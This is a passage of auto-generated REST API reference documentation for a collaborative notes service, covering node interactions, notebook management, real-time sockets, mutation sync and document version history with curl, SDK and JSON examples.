  data: {
    output: "html",
    includeComments: "appendix",
    themeMode: "light",
    fileName: "Onboarding.html",
  },
});
```


```json
{
  "ticket": "tk_01HXY8K3B5QJZ9W3E0F2M7PR8V",
  "expiresAt": "2025-02-05T11:30:00Z",
  "usesRemaining": 3
}
```


```json
{
  "message": "You do not have access to this node.",
  "code": "forbidden"
}
```


```json
{
  "message": "Node not found.",
  "code": "not_found"
}
```



## Interactions

### `POST /api/v1/notes/notebooks/{notebookId}/nodes/{nodeId}/interactions/opened`

Records that the current user has opened the node. Tracks first and last opened timestamps.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `notebookId` | path | string | Yes | Notebook ID. |
| `nodeId` | path | string | Yes | Node ID. |

#### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `openedAt` | string | No | ISO-8601 timestamp; defaults to server time. |



```bash
curl -X POST "https://api.hoody.com/api/v1/notes/notebooks/nb_abc123/nodes/node_8f3a2b/interactions/opened" \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{}'
```


```ts
const result = await client.notes.interactions.markOpened({
  notebookId: "nb_abc123",
  nodeId: "node_8f3a2b",
  data: {},
});
```


```json
{
  "nodeId": "node_8f3a2b",
  "collaboratorId": "collab_7e1a",
  "firstSeenAt": "2025-01-20T09:00:00Z",
  "lastSeenAt": "2025-02-05T11:22:18Z",
  "firstOpenedAt": "2025-02-05T11:22:18Z",
  "lastOpenedAt": "2025-02-05T11:22:18Z"
}
```


```json
{
  "message": "You do not have access to this node.",
  "code": "forbidden"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `forbidden` | Access denied | User does not have permission to access this node | Check collaborator list or request access from the node admin |


```json
{
  "message": "Node not found.",
  "code": "not_found"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `not_found` | Node not found | No node exists with the provided ID in this notebook | Verify node ID using listNodes or listNodeChildren |


```json
{
  "message": "Idempotency key conflict.",
  "code": "bad_request"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `bad_request` | Idempotency conflict | A different request was already made with the same idempotency key | Use a new idempotency key for a different request |


```json
{
  "message": "An unexpected error occurred.",
  "code": "unknown"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `unknown` | Internal server error | An unexpected error occurred while processing the request | Retry the request; if it persists, contact support |



### `POST /api/v1/notes/notebooks/{notebookId}/nodes/{nodeId}/interactions/seen`

Records that the current user has seen the node. Tracks first and last seen timestamps.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `notebookId` | path | string | Yes | Notebook ID. |
| `nodeId` | path | string | Yes | Node ID. |

#### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `seenAt` | string | No | ISO-8601 timestamp; defaults to server time. |



```bash
curl -X POST "https://api.hoody.com/api/v1/notes/notebooks/nb_abc123/nodes/node_8f3a2b/interactions/seen" \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{}'
```


```ts
const result = await client.notes.interactions.markSeen({
  notebookId: "nb_abc123",
  nodeId: "node_8f3a2b",
  data: {},
});
```


```json
{
  "nodeId": "node_8f3a2b",
  "collaboratorId": "collab_7e1a",
  "firstSeenAt": "2025-02-05T11:21:00Z",
  "lastSeenAt": "2025-02-05T11:21:00Z",
  "firstOpenedAt": null,
  "lastOpenedAt": null
}
```


```json
{
  "message": "You do not have access to this node.",
  "code": "forbidden"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `forbidden` | Access denied | User does not have permission to access this node | Check collaborator list or request access from the node admin |


```json
{
  "message": "Node not found.",
  "code": "not_found"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `not_found` | Node not found | No node exists with the provided ID in this notebook | Verify node ID using listNodes or listNodeChildren |


```json
{
  "message": "Idempotency key conflict.",
  "code": "bad_request"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `bad_request` | Idempotency conflict | A different request was already made with the same idempotency key | Use a new idempotency key for a different request |


```json
{
  "message": "An unexpected error occurred.",
  "code": "unknown"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `unknown` | Internal server error | An unexpected error occurred while processing the request | Retry the request; if it persists, contact support |

---

# Notes: Notebooks

**Page:** api/notes/notebooks

[Download Raw Markdown](./api/notes/notebooks.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



The Notes Notebooks API lets you manage notebook resources, which are containers for notes and files within a workspace. Use these endpoints to list, create, retrieve, update, and delete notebooks that the current user has access to. Each notebook exposes membership information for the requesting user (`role`: `owner`, `admin`, `collaborator`, `guest`, or `none`).

---

## List notebooks

`GET /api/v1/notes/notebooks`

Returns all notebooks the requesting user is a member of. Notebooks where the user has role `none` and notebooks with inactive status are excluded.

This endpoint takes no parameters.



```bash
curl -X GET 'https://api.hoody.com/api/v1/notes/notebooks' \
  -H 'Authorization: Bearer <token>'
```


```js
const { notebooks } = await client.notes.notebooks.listNotebooks();
```


```json
{
  "notebooks": [
    {
      "id": "5f8d3b2a1c9d4e5f6a7b8c9d",
      "name": "Research Notes",
      "description": "Notes for the Q4 research project",
      "avatar": null,
      "user": {
        "id": "6a1e5f9c2b3d4e5f6a7b8c9d",
        "role": "owner"
      },
      "status": 1,
      "maxFileSize": "10485760"
    },
    {
      "id": "7b2c4d5e6f7a8b9c0d1e2f3a",
      "name": "Personal Journal",
      "description": null,
      "avatar": null,
      "user": {
        "id": "6a1e5f9c2b3d4e5f6a7b8c9d",
        "role": "collaborator"
      },
      "status": 1,
      "maxFileSize": "5242880"
    }
  ]
}
```


```json
{
  "message": "Bad request.",
  "code": "bad_request",
  "details": [
    {
      "path": ["query"],
      "message": "Invalid query parameter"
    }
  ]
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `bad_request` | Bad request | Invalid query parameters | Verify request format and identity parameters |


```json
{
  "message": "Forbidden.",
  "code": "forbidden",
  "details": []
}
```



---

## Get notebook details

`GET /api/v1/notes/notebooks/{notebookId}`

Returns notebook metadata including name, description, avatar, status, and the current user's role within the notebook.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `notebookId` | path | string | Yes | The unique identifier of the notebook to retrieve |



```bash
curl -X GET 'https://api.hoody.com/api/v1/notes/notebooks/5f8d3b2a1c9d4e5f6a7b8c9d' \
  -H 'Authorization: Bearer <token>'
```


```js
const notebook = await client.notes.notebooks.get('5f8d3b2a1c9d4e5f6a7b8c9d');
```


```json
{
  "id": "5f8d3b2a1c9d4e5f6a7b8c9d",
  "name": "Research Notes",
  "description": "Notes for the Q4 research project",
  "avatar": null,
  "user": {
    "id": "6a1e5f9c2b3d4e5f6a7b8c9d",
    "role": "owner"
  },
  "status": 1,
  "maxFileSize": "10485760"
}
```


```json
{
  "message": "Notebook not found.",
  "code": "notebook_not_found",
  "details": [
    {
      "path": ["params", "notebookId"],
      "message": "Invalid notebook ID"
    }
  ]
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `notebook_not_found` | Notebook not found | No notebook exists for the current user context | Verify the notebook ID in the URL and user identity params |


```json
{
  "message": "You do not have access to this notebook.",
  "code": "notebook_no_access",
  "details": []
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `notebook_no_access` | No access to notebook | User does not have access to this notebook | Verify user identity or request access from the owner |


```json
{
  "message": "Notebook not found.",
  "code": "notebook_not_found",
  "details": [
    {
      "path": ["params", "notebookId"],
      "message": "No notebook matches the provided ID"
    }
  ]
}
```



---

## Create a notebook

`POST /api/v1/notes/notebooks`

Creates a new notebook with the given name, description, and avatar. The requesting user becomes the `owner` of the newly created notebook.

This endpoint takes no parameters.

### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `name` | string | Yes | The display name of the notebook. Must be non-empty. |
| `description` | string \| null | No | An optional description of the notebook |
| `avatar` | string \| null | No | An optional avatar identifier or URL for the notebook |

```json
{
  "name": "Research Notes",
  "description": "Notes for the Q4 research project",
  "avatar": null
}
```



```bash
curl -X POST 'https://api.hoody.com/api/v1/notes/notebooks' \
  -H 'Authorization: Bearer <token>' \
  -H 'Content-Type: application/json' \
  -d '{
    "name": "Research Notes",
    "description": "Notes for the Q4 research project",
    "avatar": null
  }'
```


```js
const notebook = await client.notes.notebooks.create({
  name: "Research Notes",
  description: "Notes for the Q4 research project",
  avatar: null
});
```


```json
{
  "id": "5f8d3b2a1c9d4e5f6a7b8c9d",
  "name": "Research Notes",
  "description": "Notes for the Q4 research project",
  "avatar": null,
  "user": {
    "id": "6a1e5f9c2b3d4e5f6a7b8c9d",
    "role": "owner"
  },
  "status": 1,
  "maxFileSize": "10485760"
}
```


```json
{
  "message": "Notebook name is required.",
  "code": "notebook_name_required",
  "details": [
    {
      "path": ["body", "name"],
      "message": "Name is required and cannot be empty"
    }
  ]
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `notebook_name_required` | Name required | Notebook name is required and cannot be empty | Provide a non-empty name in the request body |



---

## Update notebook settings

`PATCH /api/v1/notes/notebooks/{notebookId}`

Updates a notebook's name, description, or avatar. Only the notebook `owner` (and users with administrative roles) can update its settings.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `notebookId` | path | string | Yes | The unique identifier of the notebook to update |

### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `name` | string | Yes | The new display name of the notebook. Must be non-empty. |
| `description` | string \| null | No | The new description of the notebook |
| `avatar` | string \| null | No | The new avatar identifier or URL for the notebook |

```json
{
  "name": "Research Notes (2024)",
  "description": "Updated notes for the Q4 research project",
  "avatar": null
}
```



```bash
curl -X PATCH 'https://api.hoody.com/api/v1/notes/notebooks/5f8d3b2a1c9d4e5f6a7b8c9d' \
  -H 'Authorization: Bearer <token>' \
  -H 'Content-Type: application/json' \
  -d '{
    "name": "Research Notes (2024)",
    "description": "Updated notes for the Q4 research project",
    "avatar": null
  }'
```


```js
const notebook = await client.notes.notebooks.update('5f8d3b2a1c9d4e5f6a7b8c9d', {
  name: "Research Notes (2024)",
  description: "Updated notes for the Q4 research project",
  avatar: null
});
```


```json
{
  "id": "5f8d3b2a1c9d4e5f6a7b8c9d",
  "name": "Research Notes (2024)",
  "description": "Updated notes for the Q4 research project",
  "avatar": null,
  "user": {
    "id": "6a1e5f9c2b3d4e5f6a7b8c9d",
    "role": "owner"
  },
  "status": 1,
  "maxFileSize": "10485760"
}
```


```json
{
  "message": "Notebook name is required.",
  "code": "notebook_name_required",
  "details": [
    {
      "path": ["body", "name"],
      "message": "Name is required and cannot be empty"
    }
  ]
}
```


```json
{
  "message": "Notebook is read-only.",
  "code": "notebook_readonly",
  "details": []
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `notebook_readonly` | Notebook is read-only | The notebook is in read-only mode and cannot be modified | Contact the notebook owner to restore write access |
| `notebook_update_not_allowed` | Update not allowed | User role does not have permission to update this notebook | Only owners and admins can update notebook settings |


```json
{
  "message": "Notebook not found.",
  "code": "notebook_not_found",
  "details": [
    {
      "path": ["params", "notebookId"],
      "message": "No notebook matches the provided ID"
    }
  ]
}
```


```json
{
  "message": "Failed to update notebook.",
  "code": "notebook_update_failed",
  "details": []
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `notebook_update_failed` | Update failed | Notebook update failed due to a server error | Retry the request; if it persists, contact support |



---

## Delete a notebook

`DELETE /api/v1/notes/notebooks/{notebookId}`

Permanently deletes a notebook and all of its data. This action is irreversible. Only the notebook `owner` can delete it.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `notebookId` | path | string | Yes | The unique identifier of the notebook to delete |



```bash
curl -X DELETE 'https://api.hoody.com/api/v1/notes/notebooks/5f8d3b2a1c9d4e5f6a7b8c9d' \
  -H 'Authorization: Bearer <token>'
```


```js
await client.notes.notebooks.delete('5f8d3b2a1c9d4e5f6a7b8c9d');
```


```json
{
  "id": "5f8d3b2a1c9d4e5f6a7b8c9d",
  "name": "Research Notes",
  "description": "Notes for the Q4 research project",
  "avatar": null,
  "user": {
    "id": "6a1e5f9c2b3d4e5f6a7b8c9d",
    "role": "owner"
  },
  "status": 3,
  "maxFileSize": "10485760"
}
```


```json
{
  "message": "Invalid request.",
  "code": "bad_request",
  "details": [
    {
      "path": ["params", "notebookId"],
      "message": "Invalid notebook ID"
    }
  ]
}
```


```json
{
  "message": "You do not have permission to delete this notebook.",
  "code": "notebook_delete_not_allowed",
  "details": []
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `notebook_delete_not_allowed` | Delete not allowed | Only the notebook owner can delete the notebook | Request the owner to delete the notebook |


```json
{
  "message": "Notebook not found.",
  "code": "notebook_not_found",
  "details": [
    {
      "path": ["params", "notebookId"],
      "message": "No notebook matches the provided ID"
    }
  ]
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `notebook_not_found` | Notebook not found | No notebook exists with the provided ID | Verify the notebook ID in the URL |




Deleting a notebook is permanent. All notes, files, and membership data associated with the notebook are removed and cannot be recovered.

---

# Notes: Real-time & Sync

**Page:** api/notes/realtime

[Download Raw Markdown](./api/notes/realtime.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



## Identity

### `GET /api/v1/notes/me`

Returns the current user identity including `userId`, `username`, `role`, and `notebookId`. Auto-provisions the user and notebook on first call. Call this before opening a socket or syncing mutations to ensure the session is initialized.

This endpoint takes no parameters.



```bash
curl -X GET https://api.hoody.com/api/v1/notes/me \
  -H "Authorization: Bearer <token>"
```


```ts
const identity = await client.notes.identity.get();
```


```json
{
  "userId": "usr_8f2a1c9b3d4e5f60",
  "username": "alex.morgan",
  "role": "editor",
  "notebookId": "ntb_4b7e2d1a9c8f3601"
}
```



## Sockets

WebSocket connections are established in two steps: first initialize a session to receive a `socketId`, then upgrade the HTTP connection to a WebSocket using that ID.

### `POST /api/v1/notes/sockets`

Creates a new socket session and returns the socket ID used to open a WebSocket connection.

This endpoint takes no parameters.



```bash
curl -X POST https://api.hoody.com/api/v1/notes/sockets \
  -H "Authorization: Bearer <token>"
```


```ts
const session = await client.notes.sockets.init();
const socketId = session.id;
```


```json
{
  "id": "sock_a1b2c3d4e5f60718"
}
```


```json
{
  "message": "Invalid request",
  "code": "BAD_REQUEST",
  "details": [
    {
      "path": "headers",
      "message": "Missing Authorization header"
    }
  ]
}
```


```json
{
  "message": "Internal server error",
  "code": "INTERNAL_ERROR",
  "details": []
}
```



### `GET /api/v1/notes/sockets/{socketId}`

Upgrades an HTTP connection to a WebSocket using a previously initialized socket ID. The server processes bidirectional messages including cursor movements, node updates, reactions, and document edits.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `socketId` | path | string | Yes | The socket session ID returned by `POST /api/v1/notes/sockets` |



```bash
curl -X GET https://api.hoody.com/api/v1/notes/sockets/sock_a1b2c3d4e5f60718 \
  -H "Authorization: Bearer <token>" \
  -H "Upgrade: websocket" \
  -H "Connection: Upgrade"
```


```ts
const ws = await client.notes.sockets.open({
  socketId: "sock_a1b2c3d4e5f60718"
});
```


```json
{
  "message": "Invalid socket ID",
  "code": "INVALID_SOCKET_ID",
  "details": [
    {
      "path": "params.socketId",
      "message": "Socket ID not found or expired"
    }
  ]
}
```


```json
{
  "message": "WebSocket upgrade failed",
  "code": "WS_UPGRADE_FAILED",
  "details": []
}
```



## Mutation Sync

### `POST /api/v1/notes/notebooks/{notebookId}/mutations`

Processes a batch of client-side mutations — including node CRUD, reactions, interactions, and document edits. Batches can contain up to 500 mutations.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `notebookId` | path | string | Yes | The notebook to which mutations should be applied |

#### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `mutations` | array | Yes | An array of mutation objects (max 500 items). Each entry has a `type` discriminator — supported types include `node.create`, `node.update`, `node.delete`, `node.reaction.create`, `node.reaction.delete`, `node.interaction.seen`, `node.interaction.opened`, and `document.update`. |

```json
{
  "mutations": [
    {
      "id": "mut_01HQ7X2E5R8T9K3F",
      "createdAt": "2026-01-15T14:22:09.481Z",
      "type": "node.create",
      "data": {
        "nodeId": "node_9c4a1e2b7f8d3061",
        "updateId": "upd_3a7f1b9d4c8e0252",
        "createdAt": "2026-01-15T14:22:09.481Z",
        "data": "eyJ0eXBlIjoicGFyYWdyYXBoIn0="
      }
    },
    {
      "id": "mut_01HQ7X2E5R8T9K3G",
      "createdAt": "2026-01-15T14:22:10.112Z",
      "type": "node.reaction.create",
      "data": {
        "nodeId": "node_9c4a1e2b7f8d3061",
        "reaction": "👍",
        "rootId": "node_root_4d8e2a1c9b0f7352",
        "createdAt": "2026-01-15T14:22:10.112Z"
      }
    },
    {
      "id": "mut_01HQ7X2E5R8T9K3H",
      "createdAt": "2026-01-15T14:22:11.503Z",
      "type": "node.interaction.seen",
      "data": {
        "nodeId": "node_9c4a1e2b7f8d3061",
        "collaboratorId": "usr_8f2a1c9b3d4e5f60",
        "seenAt": "2026-01-15T14:22:11.503Z"
      }
    }
  ]
}
```



```bash
curl -X POST https://api.hoody.com/api/v1/notes/notebooks/ntb_4b7e2d1a9c8f3601/mutations \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "mutations": [
      {
        "id": "mut_01HQ7X2E5R8T9K3F",
        "createdAt": "2026-01-15T14:22:09.481Z",
        "type": "node.create",
        "data": {
          "nodeId": "node_9c4a1e2b7f8d3061",
          "updateId": "upd_3a7f1b9d4c8e0252",
          "createdAt": "2026-01-15T14:22:09.481Z",
          "data": "eyJ0eXBlIjoicGFyYWdyYXBoIn0="
        }
      }
    ]
  }'
```


```ts
const result = await client.notes.mutations.sync({
  notebookId: "ntb_4b7e2d1a9c8f3601",
  data: {
    mutations: [
      {
        id: "mut_01HQ7X2E5R8T9K3F",
        createdAt: "2026-01-15T14:22:09.481Z",
        type: "node.create",
        data: {
          nodeId: "node_9c4a1e2b7f8d3061",
          updateId: "upd_3a7f1b9d4c8e0252",
          createdAt: "2026-01-15T14:22:09.481Z",
          data: "eyJ0eXBlIjoicGFyYWdyYXBoIn0="
        }
      }
    ]
  }
});
```


```json
{}
```




  Batch mutations efficiently — sending up to 500 mutations in a single request reduces round-trips and improves sync throughput. Assign each mutation a unique `id` so you can correlate it with server-side processing.

---

# Notes: Document Versions

**Page:** api/notes/versions

[Download Raw Markdown](./api/notes/versions.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



The Notes Document Versions API lets you capture, retrieve, restore, and delete version snapshots for documents within a notebook. Use these endpoints to implement version history, audit trails, undo flows, or branching workflows for collaborative notes.

## List document versions

### `GET /api/v1/notes/notebooks/{notebookId}/nodes/{nodeId}/versions`

Lists all versions for a document, ordered by revision descending.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `notebookId` | path | string | Yes | ID of the notebook that contains the document |
| `nodeId` | path | string | Yes | ID of the document node |
| `limit` | query | integer | No | Maximum number of versions to return. Default: `20` |
| `offset` | query | integer | No | Number of versions to skip for pagination. Default: `0` |

### Response



```json
{
  "versions": [
    {
      "id": "vrs_01HXY8K9C2P3N4Q5R6S7T8U9VA",
      "documentId": "nd_01HXY2A3B4C5D6E7F8G9H0J1KA",
      "revision": 12,
      "createdAt": "2026-01-15T14:22:09.512Z",
      "createdBy": "usr_01HXVZ0Y1X2W3V4U5T6S7R8Q9P"
    },
    {
      "id": "vrs_01HXY7J8B1N2M3L4K5J6I7H8GWA",
      "documentId": "nd_01HXY2A3B4C5D6E7F8G9H0J1KA",
      "revision": 11,
      "createdAt": "2026-01-14T09:45:31.000Z",
      "createdBy": "usr_01HXVZ0Y1X2W3V4U5T6S7R8Q9P"
    }
  ],
  "total": 12
}
```


```json
{
  "message": "You do not have permission to view versions of this document",
  "code": "FORBIDDEN",
  "details": [
    {
      "path": "nodeId",
      "message": "Caller is not a collaborator on the parent notebook"
    }
  ]
}
```


```json
{
  "message": "Document not found",
  "code": "NOT_FOUND",
  "details": [
    {
      "path": "nodeId",
      "message": "No document exists with the given ID in this notebook"
    }
  ]
}
```



### SDK usage

```ts
const { versions, total } = await client.notes.versions.list({
  notebookId: "ntb_01HXY1Z2A3B4C5D6E7F8G9H0J",
  nodeId: "nd_01HXY2A3B4C5D6E7F8G9H0J1KA",
  limit: 50,
  offset: 0,
});
```

```bash
curl -X GET "https://api.hoody.com/api/v1/notes/notebooks/ntb_01HXY1Z2A3B4C5D6E7F8G9H0J/nodes/nd_01HXY2A3B4C5D6E7F8G9H0J1KA/versions?limit=20&offset=0" \
  -H "Authorization: Bearer <token>"
```

## Get a specific document version

### `GET /api/v1/notes/notebooks/{notebookId}/nodes/{nodeId}/versions/{versionId}`

Retrieves a specific document version by ID, including the full stored content.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `notebookId` | path | string | Yes | ID of the notebook that contains the document |
| `nodeId` | path | string | Yes | ID of the document node |
| `versionId` | path | string | Yes | ID of the version to retrieve |

### Response



```json
{
  "id": "vrs_01HXY8K9C2P3N4Q5R6S7T8U9VA",
  "documentId": "nd_01HXY2A3B4C5D6E7F8G9H0J1KA",
  "revision": 12,
  "content": {
    "type": "doc",
    "content": [
      {
        "type": "paragraph",
        "text": "Updated onboarding checklist for Q1."
      }
    ]
  },
  "createdAt": "2026-01-15T14:22:09.512Z",
  "createdBy": "usr_01HXVZ0Y1X2W3V4U5T6S7R8Q9P"
}
```


```json
{
  "message": "You do not have permission to view this document version",
  "code": "FORBIDDEN",
  "details": [
    {
      "path": "versionId",
      "message": "Caller lacks read access on the parent document"
    }
  ]
}
```


```json
{
  "message": "Document version not found",
  "code": "NOT_FOUND",
  "details": [
    {
      "path": "versionId",
      "message": "No version exists with the given ID for this document"
    }
  ]
}
```



### SDK usage

```ts
const version = await client.notes.versions.get({
  notebookId: "ntb_01HXY1Z2A3B4C5D6E7F8G9H0J",
  nodeId: "nd_01HXY2A3B4C5D6E7F8G9H0J1KA",
  versionId: "vrs_01HXY8K9C2P3N4Q5R6S7T8U9VA",
});
```

```bash
curl -X GET "https://api.hoody.com/api/v1/notes/notebooks/ntb_01HXY1Z2A3B4C5D6E7F8G9H0J/nodes/nd_01HXY2A3B4C5D6E7F8G9H0J1KA/versions/vrs_01HXY8K9C2P3N4Q5R6S7T8U9VA" \
  -H "Authorization: Bearer <token>"
```

## Create a document version snapshot

### `POST /api/v1/notes/notebooks/{notebookId}/nodes/{nodeId}/versions`

Captures the current document content as a new version snapshot. Each call increments the document's revision counter.


The new version stores the document's content at the time of the call. Subsequent edits to the document do not modify historical versions.


### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `notebookId` | path | string | Yes | ID of the notebook that contains the document |
| `nodeId` | path | string | Yes | ID of the document node to snapshot |

### Response



```json
{
  "id": "vrs_01HXY9L0D3Q4R5S6T7U8V9W0XBY",
  "documentId": "nd_01HXY2A3B4C5D6E7F8G9H0J1KA",
  "revision": 13,
  "createdAt": "2026-01-16T11:08:42.219Z",
  "createdBy": "usr_01HXVZ0Y1X2W3V4U5T6S7R8Q9P"
}
```


```json
{
  "message": "You do not have permission to snapshot this document",
  "code": "FORBIDDEN",
  "details": [
    {
      "path": "nodeId",
      "message": "Caller does not have write access on the document"
    }
  ]
}
```


```json
{
  "message": "Document not found",
  "code": "NOT_FOUND",
  "details": [
    {
      "path": "nodeId",
      "message": "No document exists with the given ID in this notebook"
    }
  ]
}
```



### SDK usage

```ts
const snapshot = await client.notes.versions.create({
  notebookId: "ntb_01HXY1Z2A3B4C5D6E7F8G9H0J",
  nodeId: "nd_01HXY2A3B4C5D6E7F8G9H0J1KA",
});
```

```bash
curl -X POST "https://api.hoody.com/api/v1/notes/notebooks/ntb_01HXY1Z2A3B4C5D6E7F8G9H0J/nodes/nd_01HXY2A3B4C5D6E7F8G9H0J1KA/versions" \
  -H "Authorization: Bearer <token>"
```

## Restore a document version

### `POST /api/v1/notes/notebooks/{notebookId}/nodes/{nodeId}/versions/{versionId}/restore`

Restores a document to a previous version by updating its content to match the snapshot. The restore itself produces a new revision so the prior state is preserved in history.


Restoring overwrites the current document content. The live content is not recoverable through the API after a restore, though the pre-restore state can still exist as a version if one was captured beforehand.


### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `notebookId` | path | string | Yes | ID of the notebook that contains the document |
| `nodeId` | path | string | Yes | ID of the document node to restore |
| `versionId` | path | string | Yes | ID of the version to restore from |

### Response



```json
{
  "success": true
}
```


```json
{
  "message": "You do not have permission to restore this document",
  "code": "FORBIDDEN",
  "details": [
    {
      "path": "versionId",
      "message": "Caller does not have write access on the document"
    }
  ]
}
```


```json
{
  "message": "Document version not found",
  "code": "NOT_FOUND",
  "details": [
    {
      "path": "versionId",
      "message": "No version exists with the given ID for this document"
    }
  ]
}
```


```json
{
  "message": "Failed to restore document version",
  "code": "INTERNAL_ERROR",
  "details": [
    {
      "path": "versionId",
      "message": "An unexpected error occurred while writing the restored content"
    }
  ]
}
```



### SDK usage

```ts
const result = await client.notes.versions.restore({
  notebookId: "ntb_01HXY1Z2A3B4C5D6E7F8G9H0J",
  nodeId: "nd_01HXY2A3B4C5D6E7F8G9H0J1KA",
  versionId: "vrs_01HXY8K9C2P3N4Q5R6S7T8U9VA",
});
```

```bash
curl -X POST "https://api.hoody.com/api/v1/notes/notebooks/ntb_01HXY1Z2A3B4C5D6E7F8G9H0J/nodes/nd_01HXY2A3B4C5D6E7F8G9H0J1KA/versions/vrs_01HXY8K9C2P3N4Q5R6S7T8U9VA/restore" \
  -H "Authorization: Bearer <token>"
```

## Delete a document version

### `DELETE /api/v1/notes/notebooks/{notebookId}/nodes/{nodeId}/versions/{versionId}`

Deletes a specific document version. The version is permanently removed and cannot be restored through the API.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `notebookId` | path | string | Yes | ID of the notebook that contains the document |
| `nodeId` | path | string | Yes | ID of the document node |
| `versionId` | path | string | Yes | ID of the version to delete |

### Response



```json
{
  "success": true
}
```


```json
{
  "message": "You do not have permission to delete this document version",
  "code": "FORBIDDEN",
  "details": [
    {
      "path": "versionId",
      "message": "Caller does not have write access on the document"
    }
  ]
}
```


```json
{
  "message": "Document version not found",
  "code": "NOT_FOUND",
  "details": [
    {
      "path": "versionId",
      "message": "No version exists with the given ID for this document"
    }
  ]
}
```



### SDK usage

```ts
const result = await client.notes.versions.delete({
  notebookId: "ntb_01HXY1Z2A3B4C5D6E7F8G9H0J",
  nodeId: "nd_01HXY2A3B4C5D6E7F8G9H0J1KA",
  versionId: "vrs_01HXY8K9C2P3N4Q5R6S7T8U9VA",
});
```

```bash
curl -X DELETE "https://api.hoody.com/api/v1/notes/notebooks/ntb_01HXY1Z2A3B4C5D6E7F8G9H0J/nodes/nd_01HXY2A3B4C5D6E7F8G9H0J1KA/versions/vrs_01HXY8K9C2P3N4Q5R6S7T8U9VA" \
  -H "Authorization: Bearer <token>"
```

---

# Notes:avatars

**Page:** api/notes-avatars

[Download Raw Markdown](./api/notes-avatars.md)

---

## API Endpoints Summary

- **POST** `/api/v1/notes/avatars` — Upload an avatar image
- **GET** `/api/v1/notes/avatars/{avatarId}` — Download an avatar image

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Notes:collaborators

**Page:** api/notes-collaborators

[Download Raw Markdown](./api/notes-collaborators.md)

---

## API Endpoints Summary

- **GET** `/api/v1/notes/notebooks/{notebookId}/nodes/{nodeId}/collaborators` — List collaborators
- **POST** `/api/v1/notes/notebooks/{notebookId}/nodes/{nodeId}/collaborators` — Add a collaborator
- **PATCH** `/api/v1/notes/notebooks/{notebookId}/nodes/{nodeId}/collaborators/{collaboratorId}` — Update collaborator role
- **DELETE** `/api/v1/notes/notebooks/{notebookId}/nodes/{nodeId}/collaborators/{collaboratorId}` — Remove a collaborator

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Notes:comments

**Page:** api/notes-comments

[Download Raw Markdown](./api/notes-comments.md)

---

## API Endpoints Summary

- **GET** `/api/v1/notes/notebooks/{notebookId}/nodes/{nodeId}/comments` — List comments
- **POST** `/api/v1/notes/notebooks/{notebookId}/nodes/{nodeId}/comments` — Create a comment
- **GET** `/api/v1/notes/notebooks/{notebookId}/nodes/{nodeId}/comment-anchors` — List comment anchors
- **PATCH** `/api/v1/notes/notebooks/{notebookId}/nodes/{nodeId}/comments/{commentId}` — Edit a comment
- **DELETE** `/api/v1/notes/notebooks/{notebookId}/nodes/{nodeId}/comments/{commentId}` — Delete a comment
- **POST** `/api/v1/notes/notebooks/{notebookId}/nodes/{nodeId}/comments/{commentId}/resolve` — Resolve a comment
- **POST** `/api/v1/notes/notebooks/{notebookId}/nodes/{nodeId}/comments/{commentId}/reanchor` — Re-anchor a comment thread

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Notes:databases

**Page:** api/notes-databases

[Download Raw Markdown](./api/notes-databases.md)

---

## API Endpoints Summary

- **GET** `/api/v1/notes/notebooks/{notebookId}/databases/{databaseId}/records` — List database records
- **POST** `/api/v1/notes/notebooks/{notebookId}/databases/{databaseId}/records` — Create a database record
